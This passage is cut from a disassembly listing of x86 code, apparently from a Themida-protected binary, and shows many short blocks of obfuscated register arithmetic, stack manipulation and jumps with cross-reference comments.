loc_55E1FD ; --------------------------------------------------------------------------- loc_56D1E1: ; CODE XREF: Themida_:005633C3j add edx, 4 jmp loc_55EC99 ; --------------------------------------------------------------------------- loc_56D1EC: ; CODE XREF: Themida_:00567294j xor ebp, edi pop edi sub ebp, 2C29725Eh add ebp, 1 not ebp not ebp push esi jmp loc_562639 ; --------------------------------------------------------------------------- loc_56D205: ; CODE XREF: Themida_:0056BD7Fj pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D20B: ; CODE XREF: Themida_:0056F6DEj xor bx, 587Ch or di, bx jmp loc_567E6A ; --------------------------------------------------------------------------- loc_56D218: ; CODE XREF: Themida_:0056C452j sub edx, 0E4C63BFDh xor eax, edx jmp loc_56476C ; --------------------------------------------------------------------------- loc_56D225: ; CODE XREF: Themida_:00569D1Bj not edx inc edx add edx, 2D5648F1h inc edx not edx sub edx, 41AC35D0h add esi, edx mov edx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp push edi mov edi, esp jmp loc_564FBF ; --------------------------------------------------------------------------- loc_56D251: ; CODE XREF: Themida_:0056747Fj push 71E459E8h mov ebx, [esp] add esp, 4 shr ebx, 4 xor ebx, 5756623Ah add ebx, 0DFD15A28h push ecx push ebx add dword ptr [esp], 7AD234DCh pop ecx sub ecx, 7AD234DCh push ebx jmp loc_567199 ; --------------------------------------------------------------------------- loc_56D281: ; CODE XREF: Themida_:00561E77j sub eax, ecx mov ecx, [esp] jmp loc_56AA88 ; --------------------------------------------------------------------------- loc_56D28B: ; CODE XREF: Themida_:00562E65j mov [esp], esi jmp loc_56CE82 ; --------------------------------------------------------------------------- loc_56D293: ; CODE XREF: Themida_:00560305j add eax, 3C220F9Dh jmp loc_5728AB ; --------------------------------------------------------------------------- loc_56D29D: ; CODE XREF: Themida_:0056B811j mov bh, 64h mov ch, bh jmp loc_55D441 ; --------------------------------------------------------------------------- loc_56D2A6: ; CODE XREF: Themida_:00563593j pop eax jmp loc_56D9F4 ; --------------------------------------------------------------------------- loc_56D2AC: ; CODE XREF: Themida_:0056360Fj pop edx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_56A1B4 ; --------------------------------------------------------------------------- loc_56D2C1: ; CODE XREF: Themida_:0056769Dj xor ecx, 6CC81AA0h mov ebp, ecx jmp loc_570331 ; --------------------------------------------------------------------------- loc_56D2CE: ; CODE XREF: Themida_:005700E4j sub edx, 6EEE0CF1h sub edx, 5ACA5EB4h sub edx, ecx add edx, 5ACA5EB4h push ebp mov ebp, 6EEE0CF1h jmp loc_567221 ; --------------------------------------------------------------------------- loc_56D2ED: ; CODE XREF: Themida_:005654BAj mov esi, 178C7879h mov eax, 637A6A8h add eax, 63CB63FDh add eax, esi sub eax, 63CB63FDh mov esi, [esp] add esp, 4 jmp loc_56FA05 ; --------------------------------------------------------------------------- loc_56D30E: ; CODE XREF: Themida_:0056C6E2j mov dl, al pop eax mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop ecx xchg ah, dl not ah jmp loc_565078 ; --------------------------------------------------------------------------- loc_56D331: ; CODE XREF: Themida_:0056078Fj add edx, ebx sub edx, 1C3A79F5h sub edx, 291E3542h pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esp, 4 jmp loc_568B85 ; --------------------------------------------------------------------------- loc_56D352: ; CODE XREF: Themida_:0055E252j pop ebp jmp loc_560474 ; --------------------------------------------------------------------------- loc_56D358: ; CODE XREF: Themida_:00571DA8j xchg ebx, [esp] jmp loc_56F824 ; --------------------------------------------------------------------------- loc_56D360: ; CODE XREF: Themida_:0056FE80j and ebx, 5C4A7798h add ebx, 0B3FD89FCh jmp loc_56A23E ; --------------------------------------------------------------------------- loc_56D371: ; CODE XREF: Themida_:0056E848j pop esp pop dword ptr [esp] mov esp, [esp] add eax, 7A4E054Eh jmp loc_56D9A2 ; --------------------------------------------------------------------------- loc_56D382: ; CODE XREF: Themida_:00568A49j mov edx, 514E39A7h jmp loc_5664C6 ; --------------------------------------------------------------------------- loc_56D38C: ; CODE XREF: Themida_:005718EEj push edx mov edx, esi mov eax, edx jmp loc_57037D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56D396: ; CODE XREF: sub_562A0A+9E48j sub cl, 1Fh jmp loc_566224 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_56D39E: ; CODE XREF: Themida_:0057186Aj push 4 push dword ptr [esp] pop ebp add esp, 4 push edx push ebp push 4F407CF4h jmp loc_5717F2 ; --------------------------------------------------------------------------- loc_56D3B9: ; CODE XREF: Themida_:00562B09j sub ebx, 47411306h jmp loc_571468 ; --------------------------------------------------------------------------- loc_56D3C4: ; CODE XREF: Themida_:00563EABj mov [esp], ecx mov ecx, 4 add [esp+4], ecx jmp loc_569E7F ; --------------------------------------------------------------------------- loc_56D3D5: ; CODE XREF: Themida_:0056EB5Aj sub ebp, 2AFC5E55h jmp loc_561BB6 ; --------------------------------------------------------------------------- loc_56D3E0: ; CODE XREF: Themida_:00567B16j xchg edi, [esp] mov esp, [esp] and ecx, edx pop edx not ecx push edx jmp loc_567299 ; --------------------------------------------------------------------------- loc_56D3F1: ; CODE XREF: Themida_:00572A2Dj add esi, 4 push eax mov eax, 4 add esi, eax mov eax, [esp] add esp, 4 jmp loc_55D400 ; --------------------------------------------------------------------------- loc_56D40D: ; CODE XREF: Themida_:0056161Fj dec ebp inc ebp xor ebp, 0C9B22E1Fh jmp loc_56310C ; --------------------------------------------------------------------------- loc_56D41A: ; CODE XREF: Themida_:00566BC7j xor edx, 508E6F67h pop edi add edx, 155751ADh push ecx jmp loc_55D810 ; --------------------------------------------------------------------------- loc_56D42D: ; CODE XREF: Themida_:00567BE8j mov ebx, 4 sub edi, 0C200174h jmp loc_55D461 ; --------------------------------------------------------------------------- loc_56D43D: ; CODE XREF: Themida_:00566DE7j mov edx, 5A4D1D9Ah sub edx, 767E7D57h xor edx, 0E3CEA047h add ebx, edx pop edx jmp loc_571568 ; --------------------------------------------------------------------------- loc_56D456: ; CODE XREF: Themida_:0055DB03j pop ebp mov ebp, eax mov eax, [esp] add esp, 4 sub ebx, 30C377AFh add ebx, ebp jmp loc_563A8E ; --------------------------------------------------------------------------- loc_56D46F: ; CODE XREF: Themida_:0055D8D4j sub edi, 31BD18D9h add edi, ebx add edi, 31BD18D9h jmp loc_566B51 ; --------------------------------------------------------------------------- loc_56D482: ; CODE XREF: Themida_:0056341Cj push edx jmp loc_570B4A ; --------------------------------------------------------------------------- loc_56D488: ; CODE XREF: Themida_:00563EFDj mov cl, 88h add al, cl pop cx add al, dl push cx mov cl, 88h jmp loc_56CE54 ; --------------------------------------------------------------------------- loc_56D499: ; CODE XREF: Themida_:00571DFCj mov edi, 4 mov ebx, edi pop edi sub esi, 79AE5B0Bh add esi, ebx add esi, 79AE5B0Bh pop ebx xor esi, [esp] jmp loc_55D8F4 ; --------------------------------------------------------------------------- loc_56D4B8: ; CODE XREF: Themida_:00569C1Fj push ebp mov ebp, 0A47DDE7Ch sub ebx, ebp pop ebp mov edx, ebx pop ebx mov dword ptr [edi+20h], 0F350B72h jmp loc_5627E4 ; --------------------------------------------------------------------------- loc_56D4D0: ; CODE XREF: Themida_:0056D63Ej pop ecx mov al, 8Bh xor al, bh jmp loc_56A309 ; --------------------------------------------------------------------------- loc_56D4DA: ; CODE XREF: Themida_:0055F346j sub edi, 11560DA9h push edx mov edx, edi jmp loc_56C7C9 ; --------------------------------------------------------------------------- loc_56D4E8: ; CODE XREF: Themida_:0055EB92j add eax, 4 xchg eax, [esp] pop esp push ecx push 7E52h jmp loc_56464F ; --------------------------------------------------------------------------- loc_56D4FC: ; CODE XREF: Themida_:0055DE27j push edx mov edx, 47772822h add eax, edx mov edx, [esp] add esp, 4 jmp loc_5613E8 ; --------------------------------------------------------------------------- loc_56D50F: ; CODE XREF: Themida_:005652DFj mov [esp], edi mov edi, 4 add ebp, edi jmp loc_56E704 ; --------------------------------------------------------------------------- loc_56D51E: ; CODE XREF: Themida_:0055F5ECj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], esi sub esp, 4 jmp loc_56B057 ; --------------------------------------------------------------------------- loc_56D533: ; CODE XREF: Themida_:00569934j push dword ptr [esp] pop ebx add esp, 4 add al, 0BDh sub al, dh push cx mov cl, 0BDh add al, 6Bh sub al, cl jmp loc_56E023 ; --------------------------------------------------------------------------- loc_56D54E: ; CODE XREF: Themida_:005712EEj mov ecx, 2E7D557Eh neg ecx sub ecx, 160E4175h jmp loc_570D66 ; --------------------------------------------------------------------------- loc_56D560: ; CODE XREF: Themida_:00564E1Aj or ecx, 6BC139F3h xor ecx, 200E4Dh sub edx, ecx mov ecx, [esp] add esp, 4 add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ecx mov ecx, esp push edi jmp loc_56C585 ; --------------------------------------------------------------------------- loc_56D59E: ; CODE XREF: Themida_:005622ADj xor al, dh jmp loc_560C48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56D5A5: ; CODE XREF: sub_562A0A+6127j add esp, 4 add bl, 0F7h add bl, al sub bl, 0F7h add bl, 69h movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov ax, [esp] push 6942h mov [esp], ebx push esp mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_56E5EE ; --------------------------------------------------------------------------- loc_56D5D9: ; CODE XREF: Themida_:0056708Ej pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_56FE85 ; --------------------------------------------------------------------------- loc_56D5EF: ; CODE XREF: Themida_:0056F1BCj add esp, 4 push 4634h mov [esp], ecx push 3FAh mov [esp], eax mov eax, 5CBA32C3h xor eax, 9AE4555h sub esp, 4 mov [esp], ecx jmp loc_56DCB7 ; --------------------------------------------------------------------------- loc_56D61A: ; CODE XREF: Themida_:00570517j mov ebp, [esp] add esp, 4 push edx jmp loc_56171B ; --------------------------------------------------------------------------- loc_56D629: ; CODE XREF: Themida_:005600CAj add esp, 4 add ebp, 4 push edx jmp loc_5624D4 ; --------------------------------------------------------------------------- loc_56D63B: ; CODE XREF: Themida_:005657EDj pop edx mov bh, cl jmp loc_56D4D0 ; --------------------------------------------------------------------------- loc_56D643: ; CODE XREF: Themida_:0055E345j push edx mov edx, 0AC747B6h xor edx, 7612382Fh push eax mov eax, 6A4E0A67h sub edx, eax pop eax add eax, 58B5789Dh jmp loc_55F08C ; --------------------------------------------------------------------------- loc_56D662: ; CODE XREF: Themida_:0056549Aj mov edi, edx pop edx add eax, edi push dword ptr [esp] jmp loc_56D1CB ; --------------------------------------------------------------------------- loc_56D66F: ; CODE XREF: Themida_:00565471j sub ebp, 6BA706A4h pop ecx jmp loc_57151F ; --------------------------------------------------------------------------- loc_56D67B: ; CODE XREF: Themida_:0056157Bj mov esp, [esp] movzx ecx, al push 4944h mov [esp], ecx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D68E: ; CODE XREF: Themida_:0056C124j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_55D39E ; --------------------------------------------------------------------------- loc_56D69F: ; CODE XREF: Themida_:005661BAj xchg eax, [esp] pop esp dec dl add dl, 50h push 4CC9h mov [esp], eax jmp loc_56D72F ; --------------------------------------------------------------------------- loc_56D6B5: ; CODE XREF: Themida_:00568AC0j dec esi sub esi, 54333C08h neg esi not esi jmp loc_56700B ; --------------------------------------------------------------------------- loc_56D6C5: ; CODE XREF: Themida_:005715AFj xchg edi, [esp] pop esp jmp loc_562C5D ; --------------------------------------------------------------------------- loc_56D6CE: ; CODE XREF: Themida_:00563C1Ej push 45B6h mov [esp], eax push 1393h mov [esp], esp add dword ptr [esp], 4 pop eax push ebp jmp loc_56A82A ; --------------------------------------------------------------------------- loc_56D6EC: ; CODE XREF: Themida_:0056AF55j mov esi, ebp pop ebp add eax, 32611ED4h add eax, esi sub eax, 32611ED4h pop esi xchg eax, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D70D: ; CODE XREF: Themida_:00560509j mov [esp], edx mov edx, esp push ebx mov ebx, 756E7751h sub ebx, 756E774Dh add edx, ebx pop ebx add edx, 4 xchg edx, [esp] jmp loc_567DEE ; --------------------------------------------------------------------------- loc_56D72F: ; CODE XREF: Themida_:0056D6B0j push ecx mov cl, 0B7h or cl, 0C1h push ax jmp loc_5609FF ; --------------------------------------------------------------------------- loc_56D73C: ; CODE XREF: Themida_:005676CCj pop eax sub edx, 3B3A4CBBh jmp loc_56BEF2 ; --------------------------------------------------------------------------- loc_56D748: ; CODE XREF: Themida_:0055E2ACj push 3FFBh mov [esp], edi push ecx push 66811BCDh mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 235E4E2Bh inc edi sub edi, 49302CECh shl edi, 5 xor edi, 0A3046FFh jmp loc_56C8A8 ; --------------------------------------------------------------------------- loc_56D77C: ; CODE XREF: Themida_:00561007j add dword ptr [esp], 4 pop dword ptr [esp] push 444Ah mov [esp], ebp mov ebp, 547A0D63h and ebp, 0A44433Dh jmp loc_56FC6B ; --------------------------------------------------------------------------- loc_56D79B: ; CODE XREF: Themida_:0056F7E7j push eax mov al, bl mov ch, al mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov [edx], ch push dword ptr [esp] pop ecx add esp, 4 pop ebx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D7C8: ; CODE XREF: Themida_:00560BC7j pop eax jmp loc_571BFA ; --------------------------------------------------------------------------- loc_56D7CE: ; CODE XREF: Themida_:00567DF6j mov ecx, 198C34A3h xor ecx, ebx pop ebx dec ecx xchg esi, ecx neg esi xchg esi, ecx xor ecx, 293E0474h jmp loc_56334F ; --------------------------------------------------------------------------- loc_56D7E8: ; CODE XREF: Themida_:00562655j sub edx, ebx pop ebx pop eax xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_56A3DB ; --------------------------------------------------------------------------- loc_56D7FA: ; CODE XREF: Themida_:005651D4j pop esp pop dword ptr [esp] jmp loc_56C631 ; --------------------------------------------------------------------------- loc_56D803: ; CODE XREF: Themida_:0056985Cj add ebx, 34770199h sub ebx, eax sub ebx, 34770199h jmp loc_56FF8E ; --------------------------------------------------------------------------- loc_56D816: ; CODE XREF: Themida_:00569221j push ebp mov ebp, 0A6CC8Eh push ebp push edx mov edx, 38FF1918h add [esp+4], edx pop edx push dword ptr [esp] pop edi add esp, 4 sub edi, 38FF1918h pop ebp jmp loc_567CFF ; --------------------------------------------------------------------------- loc_56D83B: ; CODE XREF: Themida_:0056C488j xchg ebp, [esp] jmp loc_55ED7D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] push dword ptr [esp] mov eax, [esp] push 2265h mov [esp], ebp push esp jmp loc_56DE95 ; --------------------------------------------------------------------------- loc_56D85A: ; CODE XREF: Themida_:005642DEj mov eax, ebx pop ebx mov edi, 3C3C205Eh add edi, 401855B2h add edi, 9034CB2Ch xor edi, eax push dword ptr [esp] pop eax add esp, 4 sub esi, 4C6702A6h push eax mov eax, 7CBD7B06h and eax, 35C61BC9h xor eax, 5D4D2367h jmp loc_5625E1 ; --------------------------------------------------------------------------- loc_56D895: ; CODE XREF: Themida_:0057289Dj add edx, 3D6D606Ah pop ebx push eax push 46FC75C5h pop eax jmp loc_56B83E ; --------------------------------------------------------------------------- loc_56D8A8: ; CODE XREF: Themida_:00568A29j push eax jmp loc_567FC8 ; --------------------------------------------------------------------------- loc_56D8AE: ; CODE XREF: Themida_:0055D7F1j push 2 mov esi, [esp] push edi jmp loc_57134D ; --------------------------------------------------------------------------- loc_56D8BC: ; CODE XREF: Themida_:00572937j mov eax, [esp] add esp, 4 jmp loc_569CBC ; --------------------------------------------------------------------------- loc_56D8C7: ; CODE XREF: Themida_:0056A781j pop ebx add ecx, 1 add ecx, 0AFE6A003h add eax, ecx mov ecx, [esp] push eax jmp loc_55ED04 ; --------------------------------------------------------------------------- loc_56D8DF: ; CODE XREF: Themida_:00564B87j sub ebx, 8030C252h add esi, ebx pop ebx jmp loc_560842 ; --------------------------------------------------------------------------- loc_56D8ED: ; CODE XREF: Themida_:00565479j pop esi push esi push eax jmp loc_564500 ; --------------------------------------------------------------------------- loc_56D8F5: ; CODE XREF: Themida_:0056127Aj add edi, 0DD44B4Bh pop edx xor esi, edi pop edi mov ebx, esi push dword ptr [esp] pop esi push esi mov esi, esp jmp loc_5624AC ; --------------------------------------------------------------------------- loc_56D90D: ; CODE XREF: Themida_:00565434j add edi, 0FD9CF288h add ecx, edi pop edi mov eax, [esp] add esp, 4 jmp loc_55D7B4 ; --------------------------------------------------------------------------- loc_56D921: ; CODE XREF: Themida_:005645BDj and ecx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5649DE ; --------------------------------------------------------------------------- loc_56D934: ; CODE XREF: Themida_:0057098Dj push 76265973h pop edx add edx, 61430BB6h sub edx, ebx sub edx, 61430BB6h pop ebx jmp loc_55FEF8 ; --------------------------------------------------------------------------- loc_56D94E: ; CODE XREF: Themida_:005634F6j mov cl, bl push dword ptr [esp] pop ebx jmp loc_571ECA ; --------------------------------------------------------------------------- loc_56D959: ; CODE XREF: Themida_:0056EEBCj mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D971: ; CODE XREF: Themida_:00567BC2j sub dx, 219Fh add dx, 137h pop bx add dx, 7F96h push small 164Bh mov [esp], cx push edx mov dx, 3EAEh not dx xor dx, 9E60h push di mov di, 1 jmp loc_569882 ; --------------------------------------------------------------------------- loc_56D9A2: ; CODE XREF: Themida_:0056D37Dj push 5B67h mov [esp], ecx push 1000h mov ecx, [esp] jmp loc_56EC10 ; --------------------------------------------------------------------------- loc_56D9B7: ; CODE XREF: Themida_:0056A182j shr esi, 4 jmp loc_5650B8 ; --------------------------------------------------------------------------- loc_56D9BF: ; CODE XREF: Themida_:0056F160j pop dword ptr [esp] jmp loc_567BA0 ; --------------------------------------------------------------------------- loc_56D9C7: ; CODE XREF: Themida_:0056C3EDj add ebp, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_566145 ; --------------------------------------------------------------------------- loc_56D9E0: ; CODE XREF: Themida_:0056C9A5j sub esp, 4 mov [esp], edx mov edx, 4 push ecx jmp loc_5728BC ; --------------------------------------------------------------------------- loc_56D9F4: ; CODE XREF: Themida_:0056D2A7j add esp, 4 jmp loc_55E8D3 ; --------------------------------------------------------------------------- loc_56D9FF: ; CODE XREF: Themida_:0056E20Dj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push 7D94h jmp loc_5706CC ; --------------------------------------------------------------------------- loc_56DA13: ; CODE XREF: Themida_:00570741j pop dword ptr [esp] mov esp, [esp] jmp loc_56E6AA ; --------------------------------------------------------------------------- loc_56DA1E: ; CODE XREF: Themida_:00569D13j pop edi pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_57294F ; --------------------------------------------------------------------------- loc_56DA2E: ; CODE XREF: Themida_:0056EB1Fj pop edx pop eax mov bx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] pop esp shl cl, 2 sub cl, 0F4h sub al, 0A1h add al, cl push ebx mov bh, 0A1h add al, bh pop ebx push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edx mov edx, esp push ebx push 4 pop ebx add edx, ebx mov ebx, [esp] jmp loc_56CFA5 ; --------------------------------------------------------------------------- loc_56DA77: ; CODE XREF: Themida_:00564B92j push eax mov eax, 168C53FFh inc eax neg eax or eax, 4A0953C0h and eax, 47405F23h add eax, 0BCBFA104h jmp loc_5658BB ; --------------------------------------------------------------------------- loc_56DA94: ; CODE XREF: Themida_:0056EF09j sub esp, 4 jmp loc_563EB0 ; --------------------------------------------------------------------------- loc_56DA9F: ; CODE XREF: Themida_:0055EC2Fj add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add al, 54h push small 5CC5h mov [esp], dx jmp loc_56030A ; --------------------------------------------------------------------------- loc_56DABB: ; CODE XREF: Themida_:0056B857j and edi, 5C056968h dec edi xor edi, 5EB17BD1h and ecx, edi pop edi push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_5706E0 ; --------------------------------------------------------------------------- loc_56DADE: ; CODE XREF: Themida_:0056B904j add eax, 0FFFFFFFFh not eax jmp loc_564DF8 ; --------------------------------------------------------------------------- loc_56DAE8: ; CODE XREF: Themida_:0055FD04j sub al, 0ECh xor al, 8Eh xor cl, al pop eax jmp loc_562DAB ; --------------------------------------------------------------------------- loc_56DAF4: ; CODE XREF: Themida_:00565512j mov al, 0A3h shr al, 3 push edx mov dh, 4Eh push cx mov cl, 24h xor dh, cl pop cx jmp loc_5622A4 ; --------------------------------------------------------------------------- loc_56DB09: ; CODE XREF: Themida_:00564F6Fj pop ebx sub ebx, edx pop edx mov ecx, ebx pop ebx jmp loc_563D46 ; --------------------------------------------------------------------------- loc_56DB15: ; CODE XREF: Themida_:00566CB0j push edi push ebp mov ebp, 2C6D73BBh add ebp, 4A34F97h jmp loc_56727A ; --------------------------------------------------------------------------- loc_56DB27: ; CODE XREF: Themida_:00560F3Cj add ebp, edx pop edx jmp loc_560612 ; --------------------------------------------------------------------------- loc_56DB2F: ; CODE XREF: Themida_:00560AE9j mov [esp], edx push 0F2Ch mov [esp], esp jmp loc_562964 ; --------------------------------------------------------------------------- loc_56DB3F: ; CODE XREF: Themida_:0055EF83j push eax jmp loc_564996 ; --------------------------------------------------------------------------- loc_56DB45: ; CODE XREF: Themida_:005709CEj mov [esp], ebp jmp loc_572A58 ; --------------------------------------------------------------------------- loc_56DB4D: ; CODE XREF: Themida_:0056CC11j inc eax sub eax, 0D955130h jmp loc_56F9A3 ; --------------------------------------------------------------------------- loc_56DB58: ; CODE XREF: Themida_:0055FDACj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push edx mov edx, 40h push edi jmp loc_569A15 ; --------------------------------------------------------------------------- loc_56DB70: ; CODE XREF: Themida_:00569236j mov al, bl mov bl, dl mov dl, al pop eax sub dl, 64h add al, dl pop edx add al, 0D2h sub al, 0C7h sub al, ch push ebx mov bh, 42h shl bh, 2 dec bh neg bh and bh, 0FCh jmp loc_55DD6A ; --------------------------------------------------------------------------- loc_56DB95: ; CODE XREF: Themida_:005607D5j mov edi, esp add edi, 4 push esi jmp loc_56636A ; --------------------------------------------------------------------------- loc_56DBA3: ; CODE XREF: Themida_:0056F8B2j push ebp mov ebp, 4 add ebx, ebp jmp loc_56B608 ; --------------------------------------------------------------------------- loc_56DBB0: ; CODE XREF: Themida_:0056DD06j sub eax, 90160FFh jmp loc_570005 ; --------------------------------------------------------------------------- loc_56DBBA: ; CODE XREF: Themida_:00564F1Cj mov bl, 5Fh mov cl, 42h xor cl, bl pop ebx add bl, 22h add bl, cl sub bl, 22h mov cx, [esp] add esp, 2 add bl, ch sub bl, 1Dh mov cx, [esp] add esp, 2 movzx eax, al pop dword ptr [edi+eax*4] jmp loc_569706 ; --------------------------------------------------------------------------- loc_56DBED: ; CODE XREF: Themida_:00562A31j add edi, eax pop eax mov ebx, edi pop edi add edi, ebx push dword ptr [esp] jmp loc_5728A2 ; --------------------------------------------------------------------------- loc_56DBFD: ; CODE XREF: Themida_:0056B2BEj not esi and esi, 652359D7h shl esi, 6 dec esi sub esp, 4 jmp loc_56EDD3 ; --------------------------------------------------------------------------- loc_56DC11: ; CODE XREF: Themida_:0056F277j add esp, 4 sub ebp, 2 xchg ebp, [esp] jmp loc_5656B4 ; --------------------------------------------------------------------------- loc_56DC22: ; CODE XREF: Themida_:0056998Dj sub ecx, ebx mov ebx, [esp] add esp, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56DC55: ; CODE XREF: Themida_:005613A3j add ebp, 0AEAEF904h xor edi, ebp pop ebp push edx mov edx, 71036007h xor edi, edx pop edx xor eax, edi mov edi, [esp] jmp loc_5601BD ; --------------------------------------------------------------------------- loc_56DC71: ; CODE XREF: Themida_:00568920j push bp mov bp, 57BFh sub [esp+4], bp pop bp pop si jmp loc_568A4E ; --------------------------------------------------------------------------- loc_56DC85: ; CODE XREF: Themida_:0055DA43j sub edx, 19D1B74h and [edi+1Ch], edx pop edx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56DC94: ; CODE XREF: Themida_:0056C835j add edi, 270A5B00h pop ecx add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_567DD8 ; --------------------------------------------------------------------------- loc_56DCAB: ; CODE XREF: Themida_:0056F88Aj mov esp, [esp] mov [esp], cx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56DCB7: ; CODE XREF: Themida_:0056D615j mov ecx, 0AAEB886Eh sub eax, 657B18D7h add eax, ecx add eax, 657B18D7h jmp loc_564836 ; --------------------------------------------------------------------------- loc_56DCCD: ; CODE XREF: Themida_:00560B9Cj add al, cl pop ecx sub esp, 4 mov [esp], ebx push eax mov al, 6Eh sub esp, 4 mov [esp], edx mov dl, al mov bl, dl jmp loc_569DBD ; --------------------------------------------------------------------------- loc_56DCEB: ; CODE XREF: Themida_:0056E5F6j pop edi xchg ecx, [esp] jmp loc_5606C9 ; --------------------------------------------------------------------------- loc_56DCF4: ; CODE XREF: Themida_:0055F06Dj mov [esp], ebp xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebp xor ebp, 0E2CD37F9h jmp loc_56DBB0 ; --------------------------------------------------------------------------- loc_56DD0B: ; CODE XREF: Themida_:0055EADBj add ecx, 64031E89h add ecx, 2D2E2E99h pop edx push esi jmp loc_56B2A7 ; --------------------------------------------------------------------------- loc_56DD1E: ; CODE XREF: Themida_:00564712j push esi mov esi, 50181B28h sub eax, esi pop esi jmp loc_565C50 ; --------------------------------------------------------------------------- loc_56DD2C: ; CODE XREF: Themida_:0055E6FAj push eax jmp loc_564DDC ; --------------------------------------------------------------------------- loc_56DD32: ; CODE XREF: Themida_:0056B7A8j push esp pop edi add edi, 4 jmp loc_566ED3 ; --------------------------------------------------------------------------- loc_56DD3F: ; CODE XREF: Themida_:00570499j and [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56DD49: ; CODE XREF: Themida_:005705F2j push 1FC0h mov [esp], edx jmp loc_57024A ; --------------------------------------------------------------------------- loc_56DD56: ; CODE XREF: Themida_:00570000j pop edi pop ebp add eax, edi jmp loc_56D0DC ; --------------------------------------------------------------------------- loc_56DD5F: ; CODE XREF: Themida_:0055E108j pop ebx mov ebp, [esp] add esp, 4 jmp loc_56B897 ; --------------------------------------------------------------------------- loc_56DD6B: ; CODE XREF: Themida_:0055D940j pop edi or edi, 546E63F9h dec edi jmp loc_55ECD8 ; --------------------------------------------------------------------------- loc_56DD78: ; CODE XREF: Themida_:0056455Bj mov esi, 3DDD1AC1h not esi jmp loc_56E939 ; --------------------------------------------------------------------------- loc_56DD84: ; CODE XREF: Themida_:0056CF75j mov ebp, 454C7F6Ah jmp loc_56B019 ; --------------------------------------------------------------------------- loc_56DD8E: ; CODE XREF: Themida_:00563916j sub ebx, 4 xchg ebx, [esp] jmp loc_56234D ; --------------------------------------------------------------------------- loc_56DD9C: ; CODE XREF: Themida_:0056E90Cj add ebp, 103D09A6h push ebx mov ebx, 5DAB6DB7h add ebp, ebx pop ebx add ebp, 65ABA96Dh jmp loc_5629F2 ; --------------------------------------------------------------------------- loc_56DDB6: ; CODE XREF: Themida_:00569670j pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5721E4 ; --------------------------------------------------------------------------- loc_56DDC6: ; CODE XREF: Themida_:00565336j pop edi xchg edx, [esp] jmp loc_5660EE ; --------------------------------------------------------------------------- loc_56DDCF: ; CODE XREF: Themida_:00560648j mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx push ecx jmp loc_56A520 ; --------------------------------------------------------------------------- loc_56DDE0: ; CODE XREF: Themida_:0056B55Cj add ecx, 4 jmp loc_56C465 ; --------------------------------------------------------------------------- loc_56DDEB: ; CODE XREF: Themida_:00568B61j pop ebp xor eax, 6E323D85h jmp loc_56B4A2 ; --------------------------------------------------------------------------- loc_56DDF6: ; CODE XREF: Themida_:0056037Ej pop ebx add esp, 4 add esi, ebp pop ebp add esi, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 8412D84h shl esi, 8 not esi push ecx jmp loc_564BEB ; --------------------------------------------------------------------------- loc_56DE1F: ; CODE XREF: Themida_:00569F10j push edi push ebx mov ebx, 670725C9h neg ebx push edi mov edi, 5C1A60C8h xor ebx, edi pop edi jmp loc_56869B ; --------------------------------------------------------------------------- loc_56DE36: ; CODE XREF: Themida_:00568444j add esp, 4 sub edx, 584F2827h add edx, 4DDE5839h add ecx, 77713F47h add ecx, 76882823h add ecx, edx sub ecx, 76882823h jmp loc_5723AD ; --------------------------------------------------------------------------- loc_56DE61: ; CODE XREF: Themida_:00571F61j add edi, esi pop esi jmp 